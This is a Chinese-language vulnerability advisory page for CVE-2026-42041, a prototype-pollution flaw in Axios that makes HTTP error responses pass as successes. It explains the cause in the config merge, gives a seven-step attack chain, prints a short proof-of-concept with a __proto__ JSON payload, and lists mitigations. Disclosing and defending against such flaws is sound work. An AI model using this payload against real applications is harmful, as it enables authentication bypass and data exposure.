IPBUF安全漏洞报告
English
CVE-2026-42041 CVSS 4.8 中危

CVE-2026-42041 Axios原型污染致HTTP错误绕过漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-42041
漏洞类型
原型污染
CVSS评分
4.8 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Axios

相关标签

原型污染AxiosHTTP ClientCVE-2026-42041安全绕过

漏洞概述

Axios在1.15.1和0.31.1之前的版本存在原型污染漏洞。攻击者可利用该漏洞污染Object.prototype,将所有HTTP错误响应(如401、403、500)视为成功响应,从而完全绕过应用程序的身份验证和错误处理机制。

技术细节

该漏洞的根本原因在于Axios的配置合并策略。`validateStatus`属性使用`mergeDirectKeys`策略,该策略利用JavaScript的`in`操作符检查属性,而`in`操作符会遍历原型链。攻击者若能污染`Object.prototype.validateStatus`(例如将其设置为`() => true`),Axios在验证HTTP状态码时将始终返回true。这意味着即使服务器返回401未授权或500错误,Axios也会将其视为2xx成功响应,导致应用误判并绕过安全检查。

攻击链分析

STEP 1
步骤1
攻击者寻找应用程序中接收用户输入并将其合并到Axios配置的接口。
STEP 2
步骤2
攻击者发送特制的恶意JSON payload,利用原型链污染机制修改Object.prototype。
STEP 3
步骤3
Payload将Object.prototype.validateStatus属性设置为一个总是返回true的函数。
STEP 4
步骤4
应用程序使用受污染的Axios实例发起HTTP请求(如请求敏感数据)。
STEP 5
步骤5
服务器返回错误状态码(如401 Unauthorized或403 Forbidden)。
STEP 6
步骤6
Axios调用被污染的validateStatus函数,该函数返回true,将错误响应视为成功。
STEP 7
步骤7
应用程序执行成功回调逻辑,导致身份验证绕过或信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Proof of Concept for CVE-2026-42041 // This demonstrates how polluting the prototype affects Axios behavior // Assume an attacker can inject a payload that merges into Object.prototype // In a real scenario, this might happen via a deep merge of untrusted JSON const maliciousPayload = JSON.parse('{"__proto__": {"validateStatus": "() => true"}}'); // Simulating the pollution (simplified for demonstration) // In the actual vulnerability, this happens during Axios config merge Object.prototype.validateStatus = () => true; const axios = require('axios'); // Vulnerable version < 1.15.1 // Requesting a resource that returns 401 Unauthorized axios.get('http://example.com/admin') .then(response => { // This block is executed because validateStatus returns true console.log('Success! Status:', response.status); console.log('Data:', response.data); // The application logic assumes the user is authenticated }) .catch(error => { // This block is skipped, bypassing error handling console.log('Request failed'); });

影响范围

Axios < 1.15.1
Axios < 0.31.1

防御指南

临时缓解措施
在无法立即升级的情况下,应实施严格的输入验证和过滤,防止包含__proto__、constructor或prototype属性的JSON对象被深度合并到系统对象中。同时,可以在应用层显式检查HTTP响应状态码,而不完全依赖库的默认成功判定。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表